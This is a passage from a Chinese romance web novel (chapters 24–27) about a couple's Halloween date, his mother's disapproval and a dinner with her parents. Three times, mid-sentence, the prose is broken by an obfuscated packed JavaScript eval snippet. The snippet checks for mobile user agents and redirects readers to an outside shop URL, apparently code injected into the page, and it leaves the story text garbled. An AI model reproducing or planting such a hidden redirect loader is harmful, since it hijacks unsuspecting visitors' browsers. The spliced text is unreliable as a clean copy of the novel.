大致就是说她吃饭认真呀,最近很乖不惹事啊,受了委屈呀,诸如此类。涂夏也给他发,但理由用的比他好,她说他吻技好,值得红包奖励。赵聿明本来不想收的,但听到这理由,立刻收了。 两人之间差了四岁,赵聿明又是老师,下意识地就把她当成小孩子哄,涂夏性格要强,刚开始嫌他爹味重,挺不喜欢的,后来时间长了,就习惯了。 * 万圣夜,涂夏站在衣柜前挑衣服,纠结了半个小时,最后选了件橙色加绒卫衣和直筒牛仔裤,卫衣帽子有拉链,可以把整个脑袋都藏进帽子里,正对着脸的位置扣了两个洞,可以露出眼睛看外面,背后是一对立体的黑色恶魔翅膀,长度到大腿,遮住屁股,非常有安全感。 她换好衣服出来,敲响了主卧的门。赵聿明打开门,看见涂夏埋进衣服里,只漏了两颗圆溜溜的眼睛,她声音搞怪:“不给糖就捣蛋。” “不给。”赵聿明笑了下,“你捣蛋吧。” 涂夏蹭地跳到他身上,两条腿夹着他的腰,胳膊抱着他的脖子,她失算了,不该这么早就拉拉链,攻击力直接丧失百分百。 赵聿明对上她的眼睛,问:“这么捣蛋啊?” “你帮我把拉链拉开。”涂夏撒娇。 “不拉。”赵聿明将胳膊垫在她屁股下面,使劲向上托了托,“你自己动手。” 涂夏:“你抱紧了。” “嗯。”赵聿明挑眉,“你来。” 涂夏松开手,把帽子上的拉链拉开,露出一张冒着热气的脸,红彤彤的,卫衣保暖性太强,有点不透气,一手撑在他肩上,一手捏着他的鼻子,佯装无辜地说:“本来想亲你一下的,可是现在又不想了。” 赵聿明神色不动,他转身把涂夏抱回卧室,坐在床上,两人紧贴着,他说:“你不想亲我,我想亲你。” “不给你亲。”涂夏往后躲了躲。 “躲什么?”赵聿明笑了,“不怕掉下去啊?” 涂夏紧紧拽着他的衣服,刚换上的衬衫没等出门就变得皱皱巴巴的了,“你舍得吗?” 赵聿明摇头,“舍不得。”他忽然动了一下,涂夏被吓了一大跳,猛地把他抱住,坐稳之后,意识到他是故意的,尖着嗓子喊他的名字:“赵聿明!”她骂他,“你浑蛋!” “别生气。”赵聿明笑着给她顺毛,“出门时间要到了,你是回客厅,还是留在这里看我换衣服?” 涂夏思考了两秒,“我留下。” 赵聿明趁她不备,在她唇上亲了一下。 “你又耍流氓。”涂夏瞪他。 “一会儿让你耍回来。”赵聿明站起身,涂夏也松了腿,脚踩在地板上,他去了衣帽间,没几分钟拿了件黑色高领打底衫回来。 赵聿明问:“你给我脱,还是我自己来?” 涂夏脸红了,她咽了咽口水,犹豫一番还是向他走了过去,这还是继上次之后,第一次直面他的身体。虽然见过无数次,但情况跟从前大不相同,她真的怕两人都控制不住。 她抬起手,从最上面一颗扣子开始解,手指时不时隔着衣服蹭他的胸肌。赵聿明低下头,垂着眼睛看她,泛红的皮肤,长长的眼睫,挺翘的鼻子,还有她那亮晶晶的嘴唇,刚亲过,水蜜桃味,甜的。 扣子全部解开,涂夏也得心应手了许多,她绕到赵聿明身后,两手抓住衣领,开始往下拉,他的背也很好看,倒三角,结实强壮,腰线性感,脊柱中间有一条凹下去的沟,两侧肩胛骨位置有对称的凹陷,这是常年健身练成的。 涂夏把他衬衫收在手里,“好了。” 赵聿明转过身,当着她的面,把那件黑色打底衫套头穿上,“想什么呢?” “没什么。”涂夏摇头,“我去客厅等你。” 她说罢这句话,快速离开。 赵聿明看着她的背影,轻声笑了笑。 * 从家里出来,两人开车去了游乐场,买好门票,直奔鬼屋。 赵聿明攥着涂夏的手,不让她离开自己一步,鬼屋灯光昏暗,布局复杂,稍不留神就容易走丢。涂夏的手被攥的有点疼,问他:“你害怕吗?” “嗯。”赵聿明想让她留在自己身边。 涂夏拍了拍他的肩膀,“放心,有我呢,我保护你。” “那你别松手。”赵聿明佯装害怕,“我最近用眼过度,在这种环境下有点看不清,你帮帮我。” 涂夏说了声好。 两人牵个手往里面走,一个戴着贞子假发的npc忽然蹦了出来,涂夏尖叫一声,躲进赵聿明怀里。 说好了保护我呢?赵聿明和npc对视一眼,npc很有眼力见的走开了,他拍了拍涂夏的后背,说:“好了,没事了。” “你别骗我。”涂夏像只埋进沙坑里的鸵鸟一样,“你要是敢骗我,我就不帮你了。” 赵聿明轻笑一声,“不骗你。” 涂夏从他怀里退出来,悻悻地摸了摸鼻尖,替自己辩解:“他出来的太突然了,我好没做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781377|190433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好准备,现在做好了。”她牵起赵聿明的手继续往里走,“你可别离开我啊。” 赵聿明:“不离开。” 一路上畅通无阻。 鬼屋里有全方位监控,防止游客出现特殊情况,刚才那位npc已经通过对讲机给同事提了个醒,说遇见穿橙色卫衣的就轻点吓。 从鬼屋出来,涂夏深吸一口气,她拍着胸口说:“太吓人了,比在医院还吓人,医院起码看不见摸不着。” 赵聿明揽着她的肩膀,“你已经很棒了。” “你也棒。”涂夏夸他,“一直牵着我的手,很乖很听话。” 赵聿明笑了笑,轻声说:“谢谢你的夸奖,也谢谢你的保护。” 涂夏摇头,“不客气。” 游乐场里有很多打扮奇特的NPC,有个帅哥穿了件白大褂,上面沾了血,他脖子上还挂了个听诊器,乍一看还挺像那么回事的。涂夏盯着他看了一会儿,见周围的人散了,抬起脚要过去合影,赵聿明把她拽了回来。 眼睛直勾勾的盯着别的男人看,他还在这呢,真就是一点面子都不给,衣服白脱了。 “怎么了?”涂夏回头看他,被他阴沉的脸色吓了一跳,“脸色怎么这么差?刚才在鬼屋是不是被吓到了?有没有哪里不舒服啊?” 赵聿明声音微弱:“有点胸闷气短。” 涂夏摸了摸他的脉搏,“先坐下歇会儿。” “嗯。”赵聿明低下头,任由她牵着。 两人在长椅上坐下,涂夏说:“我去给你买瓶矿泉水,你先在这里坐会儿。” “没事。”赵聿明捏了捏她的手心,“我休息一会儿就好。” 涂夏:“我刚才看见了一个自助饮料机,几分钟就好,你等我。” “记住回来的路。”赵聿明叮嘱道。 “嗯。”涂夏点头,“放心。” 她站起来沿着刚才的路拐了回去,从自助饮料机里买了一瓶矿泉水和一瓶电解质水。 正要回去,被人拦下。她问:“有事吗?” 对面的人穿着兔子警官COS服,头顶竖着两只长长的耳朵,鼻梁和脸颊上,用彩妆化了两处伤痕,模样小帅。涂夏以为是游乐场npc。 “你好,可以合个影吗?”对方问。 涂夏愣了一下,她摆手说:“我是游客。” “我知道,我跟你一样。”对方摸了摸自己的耳垂,笑得有些害羞,“就是觉得你很漂亮,想交个朋友。” 涂夏没忍住笑了,她连说了好几声谢谢,“合影就别了,我有男朋友,但还是谢谢你的夸奖。” 对方啊了一声,连忙说:“不好意思啊。” 涂夏:“没事没事。” 插曲结束,涂夏按照原路返回,眼睛扫向长椅位置,却不见赵聿明。 “去哪儿了这是。”涂夏低声喃语,她环视一圈,最后在旁边的绿植前看见了赵聿明,“一点都不乖,不舒服还乱走动。” 涂夏走到他面前,皱着眉问:“怎么不乖乖坐着?” 赵聿明:“有人。” “公共场所,长椅又不是你家的。”涂夏拧开矿泉水递给他,“喝吧。” 赵聿明接过矿泉水,仰头喝了一口,其实他一点都不渴,“我对自己的身份有认知。” “什么?”涂夏愣了。 “我是有女朋友的人。”赵聿明说,“要跟别的女性保持距离。” 涂夏语气平淡地哦了一声,“那我做不到,我的职业不允许我跟其他异性保持距离。” 赵聿明:“……我没要你做到。” 25. 第 25 章 今晚游乐场人很多,许多项目都要排队,尤其是摩天轮,两人站在队伍的中央,前后是腻歪在一起的小情侣,摸脸亲吻,旁若无人。 大概等了半个多小时才轮到他们,坐上摩天轮,涂夏看向窗外,地上的一切都在慢慢变小。 涂夏掏出手机,调好相机模式,随手递给坐在她对面的赵聿明,兴奋地说:“你给我拍照。”她咧开嘴笑,歪着脑袋,伸手比耶。 赵聿明把手机对准她,按下拍照键,“可以吗?”他把手机递回去,“是不是有点模糊。” “还行。”涂夏低头看了一眼,“朦胧美嘛。” “还要拍吗?”赵聿明问。 涂夏点点头,“拍啊,好不容易出来玩一趟,凑个九宫格,我先给你来一张。”她架起胳膊,指挥着赵聿明做表情管理,“你笑一笑,别冷着一张脸,眼睛看镜头,放松一点,别这么紧绷着,右手在脸上比心,歪一点头。” 赵聿明上次拍照还是学校春季运动会,招生组的老师非要拉着他拍几张,说给学校做招生宣传用。他没什么表情的站在操场上,旁边是嘻嘻闹闹的同学,快门声疯狂响起,同事嫌他表情臭,看起来没有亲和力,一个劲的催他笑。 “可以了吗?”赵聿明一一照做。 “等一下。”涂夏连拍了好几张,低头查看有没有出片,“可以了,超级帅。” 赵聿明伸出手,“我看一下。” 涂夏把手机递给他,“你不许删掉。” “不删。”赵聿明左右滑动屏幕,把所有照片都大致扫了一眼,他挑挑眉,有点意想不到。 涂夏将手肘撑在膝盖上,凑到他眼跟前,满脸写着我来邀功请赏了,她说:“是不是很帅,我拍照技术超好的。” 赵聿明抿唇轻笑,抱着胳膊嗯了一声。 “那轮到你给我拍了。”涂夏往后仰了一下,调整好姿势,又是张开胳膊在脑袋上比心,又是托着下巴看窗外让他拍侧脸的。 摩天轮转至最高点,烟花升空,砰的炸开。 涂夏被吓了一大跳,她立刻捂紧耳朵,皱拧紧眉头,不悦地说:“怎么离这么近啊,多危险。”以前都是从下往上看,这次直接跟烟花来了个亲密对视,火星消散,硝烟弥漫,空气中满是难闻的火药味。 “害怕就闭眼。”赵聿明安慰道。 “没怕。”涂夏摇头,“就是有点吵。”她不喜欢爆竹,也不喜欢烟花,每年初一十五,外面霹雳啦啪的响个不停,聒得耳朵都要废掉了。 剩下半圈转完,两人从座舱里出来,赵聿明问:“还想玩什么?” 涂夏想了半天,最后摇摇头,“那些运动都太刺激了,你刚不是不舒服嘛,就不玩了。” “没事。”赵聿明说,“我已经好了。” “不玩了不玩了。”涂夏拉着他往穿过人群,走到一个卖冰淇淋的店铺前,“我想吃冰淇淋甜筒。” 赵聿明掏出手机,问:“吃什么味道的?” 涂夏:“芒果的。” 付过钱,没两分钟,店员就把甜筒递了过来,涂夏伸手接过,把上面的冰淇淋尖一口舔掉,她见赵聿明空着手,问:“你不吃吗?” 赵聿明看着她静了两秒,抿着唇说:“不吃。” 涂夏哦了一声,“太凉了,你还是别吃了。” “……”赵聿明抬起眼皮,看向旁边,几十个氢气球飘在空中,有着各种各样的卡通形象,一群小孩子把工作人员团团围住,嚷着闹着要家长买,他牵起涂夏的手走过去,低头问:“喜欢什么样的气球?” 涂夏抬头看了一眼,“白色幽灵吧。” “好。”赵聿明看向工作人员,说:“你好,我要那个白色幽灵的气球。” 工作人员仰起头,把那个白色幽灵从一堆花花绿绿的气球里挑了出来,“六十。” 涂夏听到这个价格皱了皱眉,她看了赵聿明一眼,见他已经扫了支付码,就没再说什么。 赵聿明接过气球,绑在涂夏手腕上,摇了摇绳子,说:“挺可爱的。” 涂夏舔了口甜筒,努努嘴说:“是挺可爱的。”她把赵聿明拉到一边,抬头看了眼飘在二人头顶的小幽灵,叹了口气,“下次买东西先问问价格,六十一个气球,太贵了。” “不贵。”赵聿明伸手擦掉她唇边的冰淇淋奶渍,低声笑笑,“挣钱就是为了花的,况且有些东西是不能用成本价来衡量。” “商家最喜欢你这种人了。”涂夏说。 赵聿明笑了下,反问她:“你不喜欢?” “喜欢啊。”涂夏点点头,“但这种喜欢不一样,商家喜欢你掏钱爽快,我喜欢你的所有。” 涂夏喜欢在他身边打转,一会儿说句赵聿明我好喜欢你,一会儿说句赵聿明你好帅,一会儿说句怎么办啊赵聿明,我爱你爱得无法自拔。 赵聿明被她哄的是一点都招架不住。 天渐渐晚了,夜里有风,顺着裤脚灌进衣服里,涂夏手里还握着甜筒,手指和鼻尖都被冻的通红,他问:“冷不冷?要不要回家?” 涂夏嗯了一声,“有点冷。” “那甜筒就别吃了。”赵聿明拿过她手里的甜筒,十分自然地咬了一口,“我替你解决。” 涂夏笑了,踮着脚,揉他的脸,问:“你从一开始就是打算和我吃一个的吧?” “没有。”赵聿明任由涂夏的手在自己脸上霸道横行,她的手很凉,刚好可以暖一下。 “你就有。”涂夏压根不听他的回答,“其实你可以直接说的,你就说我想和你吃一个。” 赵聿明扯着嘴角笑了一下,“下次吧。” 涂夏点头,“这才乖嘛。” 吃完甜筒,两人在游乐场里逛到快闭园,回家时涂夏把那个气球放进了汽车后备箱。幸好赵聿明不讲究这些,要是被她爸妈看见,免不了要挨一顿骂,说别人都绕着小鬼走,偏她买个放家里。涂夏觉得,这叫以毒攻毒。 回到家,洗完热水澡,涂夏趴在床上修照片,她凑了九张,赶在零点前发了朋友圈。 赵聿明最先点赞,他点开聊天框,问:【为什么都是你自己的照片,我的呢?】 涂夏:【这是我的朋友圈,不是你的。】 赵聿明:【哦,你的。】他退出微信,打开相册,找了张和涂夏的合照发过去:【我要发朋友圈,你要修一下吗?】 合照里,赵聿明搂着她的肩膀,抿唇微笑,他的眼神温柔,像在看自己的骄傲。涂夏眼睛明亮有光,她看着镜头比耶,开心地咧着嘴笑,露出一排整齐白净的牙齿。 涂夏下载了原图,笑着回他:【等我几分钟。】她把照片导入修图软件,只调整了一下画质参数就发了过去:【你文案要写什么?】 赵聿明:【不写。】 涂夏:【为什么?】 赵聿明:【因为一切尽在不言中。】 涂夏:【哇哦,好一个尽在不言中。】 赵聿明打开朋友圈, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781378|190433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把照片放上去,他没有设置隐私权限,也没有不让谁看,只让谁看的习惯,但他这次在点击发布时犹豫了。他想,他是自私的。 赵聿明想了很久,最后照常发布。现在是夜里十二点,他父母估计早就休息了,就算看到后要说点什么,也是在明天了。 学生都是夜猫子,见到那条朋友圈,疯狂在下面刷屏,夸涂夏漂亮,祝他们久久。信息太多,赵聿明回复不及,只能统一感谢大家祝福。 涂夏给他点完赞,留了句晚安就休息了。 第二天早六点三刻,赵聿明家里打来电话,接通后,率先开口的是赵母,她问:“聿明,你和那姑娘发展到哪一步了?” 赵聿明思考了几秒,“正常发展。” “看来我的话你还是没有听进去。”赵母的话音里有些失望,“前几天,我跟你任伯母坐在一起闲聊,聊到你和任琦小时候的事。” “妈。”赵聿明出言打断她,“我和任琦都不是小孩子了,我们有自己的判断能力。” 赵母静了静,发出一声苦笑,她说:“妈知道你喜欢那个姓涂的姑娘,可是能靠喜欢过一辈子吗?你们刚认识不久,对彼此有新鲜感,觉得这辈子就认定这个人了,妈能理解,可是婚姻是细水长流,她谈恋爱跟你把激情消磨干净了,还愿意跟你过这种柴米油盐的平淡生活吗?” 赵聿明蹙起眉,沉声道:“我知道您心里想的是什么,可感情这东西不是一句两句话就能解释清楚的。还有,涂夏不是您班里的坏学生,您也不用对她横挑鼻子竖挑眼的。” “你是为了她顶撞我吗?”赵母声音冷静,她教书几十年,遇见的坏学生数不胜数,她忽然觉得自己的儿子跟以前不一样了,开始不听她的话,不受她的管控,就像那些青春期叛逆的男学生,顶撞父母,顶撞老师。 赵聿明塌下腰,手肘撑在膝盖上,一只手握着电话,一只手捏着眉心,他压低声音说:“我是为了我自己。” 赵母听见这句话,讽笑一声,“你跟你父亲还真是如出一辙,一样的自私,一样的固执。聿明,我跟你之间是斩不断的血脉亲情,你是我儿子,我了解,你不可能让自己背负上不孝的骂名,那就让她夹在我和你之间,承担这一切吧。” 电话挂断,赵聿明陷入了沉思,真就是清官难断家务事。他撑着胳膊向后仰头,双手张开,倒在沙发上,眼睛扫过茶几上的小狗玩偶,那是他前段时间跟涂夏去商场玩的时候,在娃娃机里抓的,当时可废了不少功夫。 一次次的脱钩,一次次的再来。涂夏聚精会神地盯着娃娃机里的玩偶,说什么也要抓到那只小狗,赵聿明说:“我们换一个,这只小狗的摆放位置太偏了。” 涂夏摇着头说:“不要。我觉得这只小狗长得像你,留它在这里,多孤单啊。” 框里的硬币越来越少,希望越来越渺茫,可就在最后一刻,那只小狗玩偶在娃娃机里甩了个弧线,稳稳地落进了取物口里。 不管多难,总要努力过,坚持过。 耳边传来推门声,赵聿明扭头看过去,只见涂夏睡意惺忪地从卧室出来,直奔他而来。 涂夏站在沙发,弯腰背后抱住他,低头蹭着他的脖子,哼着嗓子撒娇:“不想上班。” 赵聿明扯起一个笑脸,反手揉了揉她的脑袋,说:“吃过饭我送你。” “不用。”涂夏说,“你也要上班的。” 赵聿明:“我们提前出发。” 涂夏点头,“可以。” 26. 第 26 章 进入十一月,空气中已经有了冬天的味道,树木枯黄,唯有道路两旁的万年青还绿着,风吹在脸上,像刀割的一样。 涂夏下夜班回来,赵聿明已经去上班了。早上六点半,他发来信息,说在蒸锅里留了小笼包,让她热一下再吃。 洗完手,换好衣服,涂夏绕道去了厨房,打开燃气阀门,拧开厨灶,火焰噗的一声冒了出来,大约过了十分钟,水蒸气顺着锅檐飘出来。 又等了几分钟,涂夏掀开锅盖,用手指轻轻按了按小笼包的面皮,确定热透了才关火。她用筷子把小笼包一个个夹出来,放到竹编的馒头筐里,调好辣椒蘸料,端上餐桌。 涂夏掏出手机,找好角度拍了张照片,给赵聿明发过去,并配文:【我真心灵手巧。】 赵聿明课间休息,刚好看见讲台桌上的手机屏幕亮了起来,他随手点开信息,是涂夏大口吃小笼包的照片,他回:【慢点吃。】 涂夏见他秒回,问:【没上课吗?】 赵聿明:【课间休息。】 涂夏:【哦。】 涂夏:【这小笼包不像小区门口那家早餐店卖的,是你自己做的吗?】 赵聿明:【嗯,那家早餐店因为卫生问题被举报,现在已经停业整顿了。】 涂夏:【哇靠!我还吃了好多次!】 赵聿明:【不许说脏话。】 涂夏:【这是国粹,不是脏话。】 赵聿明:【诡辩。】 涂夏:【才没有。】 赵聿明看着聊天框没忍住笑了,他的笑容被班里那些调皮捣蛋的学生给捕捉到,原本还懒洋洋的趴在桌子上犯困,现在也坐直了身体,许多双眼睛直勾勾地盯着讲台上的赵聿明。 班里的刺头作死,梗着脖子问:“老师,你跟谁发信息呢?笑这么开心。” 赵聿明抬起头,笑意有所收敛,他朝着声音来源看过去,最后将目光定在正数第三排的周巍身上,他毫不掩饰地说:“我女朋友。” 此言一出,全场惊呼,一个个脑袋都冒了出来,他们迫切的想知道赵聿明的恋爱故事。 “老师,你女朋友做什么的?” “老师,你们什么时候结婚啊。” …… “老师,你们是怎么认识的?” 众人七嘴八舌地说着,赵聿明只静静地端坐在讲台桌旁,脑子里全是和涂夏的点点滴滴。 她眨着亮晶晶的眼睛,撒娇耍赖的时候像个小流氓,生气了会冷着脸瞪他,有些时候还会故意说些撩拨人的话,看着他吃瘪的样子大笑。 蔫儿坏蔫儿坏的。 周巍扭头看了眼室友,神神秘秘地说:“前几天万圣夜,你猜我在朋友圈里发现了什么?” “发现了什么?”涂浩语气颇为不爽,他看着讲台上的赵聿明莫名来气,也不知道涂夏到底看上了这个男人哪点,严厉苛刻,人面兽心。 “谁又惹你了?”周巍皱起眉,“欸,我发现了哈,自从开了学,你对咱这位赵老师,可是眼含敌意,说话带刺,他挖你墙角了?” 涂浩一个肘击砸到周巍的肚子上,揪着他的后脖颈子说:“你他妈会不会说话啊?什么叫挖墙脚啊?”这可是比挖墙脚更严重的事,眼跟前这姓赵的挖了他家的大白菜。 周巍咳嗽了几声,推开他的手,趴在桌子上捂着肚子,咬牙切齿地问:“你小子干嘛呢?要老子命啊?” “啊,要你命。”涂浩理直气壮地说。 周巍:“我靠我靠,你真病得不轻。” “你才有病。” * 下午两点半,涂夏睡醒了,翻身摸到手机,解锁屏幕看了眼通知栏,见都是些无关紧要的软件推送,便随手往旁边一丢,坐起来伸懒腰。 她明天休息,今晚可以回家一趟。 收拾好一切,涂夏拎着一个袋子出了门,打车到小区时,刚四点,她付过钱,推门下车。回家路上涂夏碰见几个相熟的邻居,她就停下脚步随便和她们寒暄了两句。 推开家门,弯腰换鞋,涂妈慢悠悠地从客厅里出来,见到是她,立刻转身回去。 “这么不欢迎我啊?”涂夏换好拖鞋,把外套脱掉,挂在玄关口的落地衣帽杆上,“我亲爱的母亲大人,赏个笑脸呗。” 涂妈嘎吱嘎吱地咬着薯片,嫌弃地说:“你每次回来都跟强盗一样,打家劫舍的,我攒这点老底全被你掏干净了。” 涂夏笑着说:“哪有,别栽赃陷害好不好。” 涂妈:“今天不谈恋爱啦?” “谈。”涂夏走到沙发旁,一屁股坐下,“家庭爱情我同时兼顾。”她把装有小笼包的袋子往涂妈眼前晃了晃,“赵聿明今天早上做的小笼包,可好吃了,要不要尝尝?” 涂妈抬起眼皮看她,两指间刚捏起的薯片重新落回了包装袋里,“尝尝?” “尝尝。”涂夏把袋子放到茶几上,起身去厨房拿碗筷和蘸料,她往小碟子里倒了点辣椒油和陈醋,转身看见旁边成堆的调料罐子里有白糖,就顺手也放了一点。 涂妈拿起筷子夹了一个,直接塞进嘴里。 “好吃吗?”涂夏问。 “还行。”涂妈点点头,“就是有点凉。” 涂夏解释道:“早上做的,现在肯定凉了。” “早上做的,你现在才送来?”涂妈露出一个嫌弃的眼神,“你可真拿我当亲妈。” 涂夏嘿嘿地笑了笑,抱着涂妈的胳膊撒娇,“我这不是上夜班刚起来嘛。” “赵老师呢?”涂妈放下筷子,抽了张纸巾擦嘴,“他什么时候下班啊?” 涂夏愣了一下,问:“赵老师?你们私下这么喊他的?” 涂妈点头说:“他是老师嘛,这样好记。” 涂夏哦了一声,问:“我弟呢,好多天都没见他了,他周末回家吗?” “月底会回来。”涂妈笑了笑,她这个儿子有样学样也不是省油的灯,“零花钱用光了,就回到家跟你撒泼打滚,求你可怜可怜他。” 涂夏噗嗤一声乐了出来,她笑着说:“涂浩这个年纪的小孩都喜欢玩,约着同学吃个饭啊唱个歌啊,用钱的地方多,花光正常,等什么时候谈了恋爱,就更缠着你可怜他了。” 涂妈笑着叹了口气,说:“我倒是等着他谈恋爱交女朋友呢,到时候别说可怜他了,我都能连带着他女朋友一起可怜。” “这么舍得啊?”涂夏问,“不打麻将啦?” “麻将哪有儿媳妇重要。”涂妈往嘴里塞了片薯片,咬得嘎吱响,“你要缺钱花,也跟妈要。” 涂夏摇摇头,“我不缺钱花。” 涂妈笑着说:“我给你爸打个电话,让他回来的时候捎条鱼,晚上给你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781379|190433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做水煮鱼片吃,藤椒味的可以吗?” “可以。”涂夏开心地点点头,“我还想吃青椒酿虾滑和干锅花菜。” 涂妈:“都有。” “好耶。”涂夏露出胜利的微笑,张开胳膊抱着涂妈的脖子,往她脸上使劲亲了一口,“妈,你和我爸对我可真好。” 涂妈用指尖戳了戳她的额头,语气无奈:“我们是你亲爸妈,能不对你好吗?你要换个人试试,就这么撒娇耍无赖,早就轰出去了。”她话音停了两秒,又说:“要是小赵晚上没什么事,你就把他也喊过来,一起吃个饭。” “行。”涂夏点头,“我打电话问问。” * 晚上七点,赵聿明穿着一身剪裁得体的深灰色西装,拎着两箱应季水果,站在了涂家门口。 涂夏坐在客厅里,耳边刚传来门铃声,她就直接弹坐起来,飞奔到门口给赵聿明开门。 “你来啦。”涂夏傻笑着,“快进来。” 赵聿明抬脚迈过门槛,问:“叔叔阿姨呢?” “在厨房做晚饭。”涂夏弯下腰,从鞋柜里拿出一双看起来很新的男士拖鞋给他,“喏,你的专属,这双拖鞋有名字,它叫赵聿明的拖鞋。” “我是你家的例外吗?”赵聿明问。 涂夏点点头,如实回答:“是,因为你是第一个拥有我家拖鞋的外人。” 赵聿明拉下脸哦了一声,“原来我是外人。” 涂夏弯起唇角,露出一抹浅笑,她抬手捏着赵聿明的脸颊,轻言细语地哄道:“以后就成家里人了。” 两人出了玄关,走到客厅,赵聿明把水果礼盒放在茶几上,涂妈听见动静从厨房出来跟他打招呼:“小赵来啦。” “嗯,阿姨。”赵聿明说,“您和涂夏坐客厅休息吧,我去厨房帮叔叔做饭。” 涂妈笑着摆了摆手,“没事,你在客厅坐着,厨房有你叔呢,夏夏,你别光站着,给小赵倒杯水,还有桌上的水果,刚洗好的,别跟阿姨客气,就当自己家一样。” “厨房的活我熟悉,您也别跟我客气。”赵聿明把外套脱了下来,挽起袖子,“您坐着,我去厨房帮叔叔搭把手。”说罢,他大步流星地朝着厨房走去。 涂妈看着他的背影,欣慰地点头,可没过两分钟就忽然想到什么,哎呦一声,连忙找出柜子里的新围裙,让涂夏给他送过去。 涂夏推开厨房门,看见涂爸在颠勺,赵聿明在切菜,两个男人听到声响,同时扭头看了她一眼。 涂爸说:“这里呛死个人,你来干嘛?” “我给赵聿明送个围裙。”涂夏说着走到赵聿明面前,把围裙递给他,“用我给你系上吗?” 涂爸看着他俩,咳嗽了一声,说:“这青花椒可真呛嗓子啊。” 赵聿明看了眼涂爸,摇了两下头,说:“不用,你出去吧,我自己来。”他把围裙套头戴上,两只手背在身后系好带子。 涂夏轻声说:“那我出去了,有事你喊我。” “嗯。”赵聿明点头。 涂夏转身走到涂爸身边,竖起大拇指,惊讶地哇了一声,她夸道:“爸,你的手艺真是越来越好了,简直堪比五星级大厨。” 涂爸扬起下巴,“那可不。” 出了厨房,涂夏不禁感叹一句:男人至死是少年啊,一个两个的,争风吃醋,好幼稚。 27. 第 27 章 半小时后,饭菜端上桌,涂爸从橱柜里拿了两个酒盅,给他和赵聿明分别倒了一杯。 涂夏立刻拦住,说:“他喝不了酒。” “咱自己家酿的,没什么度数,等会去外面走两圈,吹吹风就好了。”涂爸把酒盅放到赵聿明面前,“陪叔喝两杯。” 赵聿明点头说好,涂夏瞪他一眼,大致意思是说你逞什么能,喝醉了我才不管你。 “没事。”赵聿明在桌下拍拍她的手。 涂妈见姑娘不高兴了,立刻站出来打圆场,她看了眼酒瓶,见里面剩的不多了,笑着说:“就喝这几杯,多了不喝,这酿酒的手艺是你叔跟老家长辈学的,那酿酒方子也是祖祖辈辈传下来的,跟市面上那些有名字的酒比,也毫不逊色。” “是吗?那我一定要陪叔叔喝几杯了。” “明天周六,你不上班吧?”涂妈问。 赵聿明摇头,“不上。” 涂夏拦不住就不拦了,人教人教不会,事教人一教就会,什么自家酿的酒没度数,那是因为他们自己也不知道度数多少。赵聿明酒量什么样她也不清楚,总之醉了就醉了吧。 “先吃点菜垫一下。”涂爸说。 “嗯。”赵聿明等着两位长辈动了筷子,才往涂夏碗里夹菜,“喝不喝蔬菜汤,我给你盛碗。” 涂夏往嘴里塞了口水煮鱼片,说:“不喝。” “好。”赵聿明开始低头吃饭,他刚咽下一口虾滑,涂爸就端起酒杯,笑着说:“来,小赵,咱俩碰个杯。” 赵聿明放下筷子,右手握着酒杯,左手托着杯底,在涂爸酒杯沿口下一指的地方轻轻碰了碰,“叔叔,我敬您。”说罢,他仰起头,把杯子里的酒一口闷了,辛辣的灼烧感自上而下蔓延到胃底,太长时间没碰酒了,还有点不习惯。 涂爸笑了笑,端起酒杯抿了一口,“喝酒不能这么急,要一点一点的来,吃点菜压一压。” 赵聿明笑着说了声好,拿起筷子夹菜。 “喝汤。”涂夏把汤碗放在他面前,“你口腔溃疡刚好,别吃那个鱼,吃其他的。” 赵聿明见她冷着个脸,开始卖乖讨好,他轻轻地嗯了一声,低头喝汤。 涂爸涂妈相视一眼,扯着嘴角笑了一下。 真是女大不中留啊。 吃过饭,涂夏把赵聿明带出来散步,正好吹吹风,散一下身上的酒气。两人走到小区中央的广场上,有大爷大妈排成队伍在跳舞,也有老头老太太下棋练剑。 涂夏看见不远处摆了张长椅,她踮起脚尖,贴在赵聿明耳边说:“去那里坐一会儿吧。” 赵聿明嗯了一声,乖乖地跟着她走。 “二傻子。”涂夏笑着低骂一声。 周围音乐震天响,她的声音很小,赵聿明听见她说话了,但没听清她说的什么。 两人在长椅上坐下,涂夏抄着口袋,目视前方,真就是这两天太惯着他了,说了不能喝还喝,几杯酒下肚,人倒是没醉过去,却成了只知道点头摇头的二傻子了。 赵聿明歪斜着身体,像碰瓷一样贴她。 “干嘛?”涂夏问。 赵聿明:“我手冷。” 涂夏把手拿了出来,握住他的手指放进了自己的口袋,手心贴着手心,暖呼呼的。 她看了眼赵聿明,问:“我是谁?” “涂夏。”赵聿明说,“我女朋友。” 